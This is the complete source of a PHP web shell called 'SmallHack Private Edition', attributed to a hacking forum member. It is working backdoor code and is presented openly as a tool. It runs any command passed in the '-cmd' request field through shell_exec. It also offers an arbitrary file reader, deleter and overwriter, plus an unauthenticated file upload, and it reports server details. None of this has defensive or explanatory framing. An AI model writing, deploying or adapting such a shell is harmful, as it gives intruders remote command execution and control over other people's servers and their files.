<html>
<head>
<title>SmallHack - Private</title>
</head>
<body bgcolor="#000000" text="blue">
<h4 align=center><font color="blue">SmallHack Private Edition</font></h4>
<p align=center><font color="white">SmallHack© is coded by h1t3m of h4cky0u.org and is not responsible for you or your actions with this shell. You can contact me at hackedbyh1t3m[at]gmail[dot]com with any questions, problems or bugs.<br><small>Shell made on: 15/1/2007 (dd/mm/yyyy)</small></font></p>
<?php
//First we want to check if safe mode is activated...
if( ini_get('safe_mode') ) {
   print '<center><font color=red><b><u>Safe Mode Is On :(</u></b></font></center>';
} else {
   print '<center><font color="#00CC00"><b><u>Safe Mode Is Off w00t!</u></b></font></center>';
}
?>
<hr>
<!-- Here we grab some info on the host + your ip and browser info -->
<tr>
      <td width="49%" height="142">
      <p align="center">
        <font face="Verdana" style="font-size: 8pt"><b><font color=red>Working Directory:</font></b> <? echo $_SERVER['DOCUMENT_ROOT']; ?>
        <br />
        <b><font color=red>Server Soft:</font></b> <? echo $SERVER_SOFTWARE ?><br>
        <b><font color=red>Your IP:</font></b> <? echo $_SERVER['REMOTE_ADDR']; ?><br>
        <b><font color=red>Browser info:</font></b> <? echo $_SERVER['HTTP_USER_AGENT']; ?>
<hr>
<!--This is the command prompt -->
<center>
<form method=POST>
<br>
<h4 align=center>CMD Line</h4>
<input type=TEXT name="-cmd" size=64 value="<?=$cmd?>" 
style="background:#000000;color:#00EE00;">
<hr>
<pre>
<b>
<? $cmd = $_REQUEST["-cmd"];?>
<? if($cmd != "") print Shell_Exec($cmd);?>
</pre>
</b>
</form>
</center>
<hr>
<!-- FILE EDITOR BELOW -->

      <td width="49%" height="25" bgcolor="#FCFEBA">
      <p align="center"><font face="Verdana" size="2">[ File Editor ]</font></td>
    </tr>
    <tr>
      <td width="49%" height="231">
<font face="Verdana" style="font-size: 11pt">
      <p align="center"><?
$scriptname = $_SERVER['SCRIPT_NAME'];
$filename = $_POST["filename"];

if($_POST["submit"] == "Open")
{
	if(file_exists($filename))
	{
		$filecontents = htmlentities(file_get_contents($filename));

		if(!$filecontents)
			$status = "<font face='Verdana' style='font-size: 8pt'>Some form of error.. Try again?</font>";
	}
	else
		$status = "<font face='Verdana' style='font-size: 8pt'>Put down the crack-pipe, file dosen't exist!</font>";
}		
else if($_POST["submit"] == "Delete")
{
	if(file_exists($filename))
	{
		if(unlink($filename))	
			$status = "<font face='Verdana' style='font-size: 8pt'>Deleted the little fucker sucessfully!</font>";
		else
			$status = "<font face='Verdana' style='font-size: 8pt'>Can't delete the bastard!</font>";
	}
	else
		$status = "<font face='Verdana' style='font-size: 8pt'>Wtf? that file don't exist</font>";
}
else if($_POST["submit"] == "Save")
{
	$filecontents = stripslashes(html_entity_decode($_POST["contents"]));

	if(file_exists($filename))
		unlink($filename);

	$handle = fopen($filename, "w");

	if(!$handle)
		$status = "<font face='Verdana' style='font-size: 8pt'>God damn, can't open the fucking file! </font>";
	else
	{
		if(!fwrite($handle, $filecontents))
			$status = $status."<font face='Verdana' style='font-size: 8pt'>Can't write to the lil fucker!</font>";

		fclose($handle);
	}

	$filecontents = htmlentities($filecontents);
}
else
{
	$status = "<font face='Verdana' style='font-size: 8pt'>No bitchz l04d3d!</font>";
}
?>
<table border="0" align="center">
		<tr>
			<td>
				<table width="100%" border="0">
				<tr>
					<td>
						<form method="post" action="<?echo $scriptname;?>">
							<input name="filename" type="text" value="<?echo $filename;?>" size="20">
							<input type="submit" name="submit" value="Open">
							<input type="submit" name="submit" value="Delete">
                                        </td>
				</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td>       <font face="Verdana" style="font-size: 11pt">
					<textarea name="contents" cols="53" rows="8"><?echo $filecontents;?></textarea></font><br>
					<input type="submit" name="submit" value="Save">
					<input type="reset" value="Reset">
	</form>
</td>
</tr>
<tr>
<td>
				<h2><?echo $status;?></h2>
</td>
</tr>
</table>				</td>
<!-- END FILE EDITOR -->
<hr>
<!-- Here we can upload files -->
<form enctype="multipart/form-data" method="post">
<p align="center"><br>
<br>
<font face="Verdana" style="font-size: 8pt">Upload files.</font><br>
<input type="file" name="file" size="20"><br>
<br>
<font style="font-size: 5pt"> </font><br>
<input type="submit" value="Upload File!"> <br>
 </p>
</form>
<?php

function check_file()
{
global $file_name, $filename;
    $backupstring = "copy_of_";
    $filename = $backupstring."$filename";

    if( file_exists($filename))
    {
        check_file();
    }
}

if(!empty($file))
{
    $filename = $file_name;
    if( file_exists($file_name))
    {
        check_file();
        echo "<p align=center>File already on server...</p>";
    }

    else
    {
        copy($file,"$filename");
        if( file_exists($filename))
        {
            echo "<p align=center>File uploaded!</p>";
        }
        elseif(! file_exists($filename))
        {
            echo "<p align=center>File not found :(</p>";
        }
    }
}
?>
<font face="Verdana" style="font-size: 8pt">
<p align=\"center\"></font>
</td>
      </tr>
<hr>
<!-- Thats it for this version credits and shouts below -->
<center>
<pre>
_/    _/    _/    _/      _/_/_/    _/      _/
_/    _/  _/_/  _/_/_/_/        _/  _/_/  _/_/
_/_/_/_/    _/    _/        _/_/    _/  _/  _/
_/    _/    _/    _/            _/  _/      _/
_/    _/    _/      _/_/  _/_/_/    _/      _/
h1t3m - hacking it for 2008 ;)
</pre>
</center>
<h4 align=center><font color="white"><b>=> Greetz to aStRo, er0r, |)34B|_0 & all of h4cky0u.org (Screw the imi-tators... You know who you are) <=</b><br />©2008 by h1t3m...  Visit h4cky0u.org for all your Hacking needs!</font></h4>
</body>
</html>